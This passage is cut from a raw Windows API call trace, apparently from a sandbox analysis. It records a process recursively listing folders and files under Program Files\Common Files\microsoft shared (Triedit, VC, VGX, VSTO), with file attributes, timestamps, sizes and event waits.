nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0098.525] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0098.526] GetProcessHeap () returned 0xc00000 [0098.526] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0098.526] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0098.526] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0098.526] GetProcessHeap () returned 0xc00000 [0098.526] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0098.527] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="Triedit", cAlternateFileName="")) returned 1 [0098.527] GetProcessHeap () returned 0xc00000 [0098.527] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0098.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0098.528] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.528] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0098.528] GetProcessHeap () returned 0xc00000 [0098.528] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0098.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0098.529] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.529] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0098.530] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0098.530] GetProcessHeap () returned 0xc00000 [0098.530] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0098.530] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0098.530] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0098.530] GetProcessHeap () returned 0xc00000 [0098.530] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0098.531] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="VC", cAlternateFileName="")) returned 1 [0098.531] GetProcessHeap () returned 0xc00000 [0098.531] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0098.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0098.532] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.532] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0098.532] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0098.532] ResetEvent (hEvent=0x2cc) returned 1 [0098.532] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.606] ResetEvent (hEvent=0x2cc) returned 1 [0098.607] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.624] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0098.624] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0098.627] GetProcessHeap () returned 0xc00000 [0098.627] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0098.627] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="VGX", cAlternateFileName="")) returned 1 [0098.627] GetProcessHeap () returned 0xc00000 [0098.627] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0098.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0098.628] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.628] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0098.628] ResetEvent (hEvent=0x2cc) returned 1 [0098.628] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.636] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0098.636] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0098.636] GetProcessHeap () returned 0xc00000 [0098.636] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0098.636] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="VSTO", cAlternateFileName="")) returned 1 [0098.636] GetProcessHeap () returned 0xc00000 [0098.636] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0098.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0098.637] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.637] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0098.637] GetProcessHeap () returned 0xc00000 [0098.637] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0098.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0098.638] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.638] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0098.638] GetProcessHeap () returned 0xc00000 [0098.638] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0098.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e91e0 [0098.639] FindNextFileW (in: hFindFile=0x37e91e0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0098.640] FindNextFileW (in: hFindFile=0x37e91e0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0098.640] ResetEvent (hEvent=0x2cc) returned 1 [0098.640] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0098.652] ResetEvent (hEvent=0x2cc) returned 1 [0098.652] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0099.706] FindNextFileW (in: hFindFile=0x37e91e0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0099.706] ResetEvent (hEvent=0x2cc) returned 1 [0099.706] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0099.717] ResetEvent (hEvent=0x2cc) returned 1 [0099.717] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0099.914] FindNextFileW (in: hFindFile=0x37e91e0, lpFindFileData=0x2b1eb58 | out: lpFindFileData=0x2b1eb58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0099.914] FindClose (in: hFindFile=0x37e91e0 | out: hFindFile=0x37e91e0) returned 1 [0099.914] GetProcessHeap () returned 0xc00000 [0099.914] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0099.914] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0099.914] ResetEvent (hEvent=0x2cc) returned 1 [0099.914] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0099.995] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0099.995] ResetEvent (hEvent=0x2cc) returned 1 [0099.995] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0100.033] ResetEvent (hEvent=0x2cc) returned 1 [0100.033] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0100.034] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0100.034] ResetEvent (hEvent=0x2cc) returned 1 [0100.034] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0100.773] ResetEvent (hEvent=0x2cc) returned 1 [0100.774] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0100.784] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0100.784] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0100.784] GetProcessHeap () returned 0xc00000 [0100.784] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0100.784] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0100.784] ResetEvent (hEvent=0x2cc) returned 1 [0100.784] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0101.366] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, 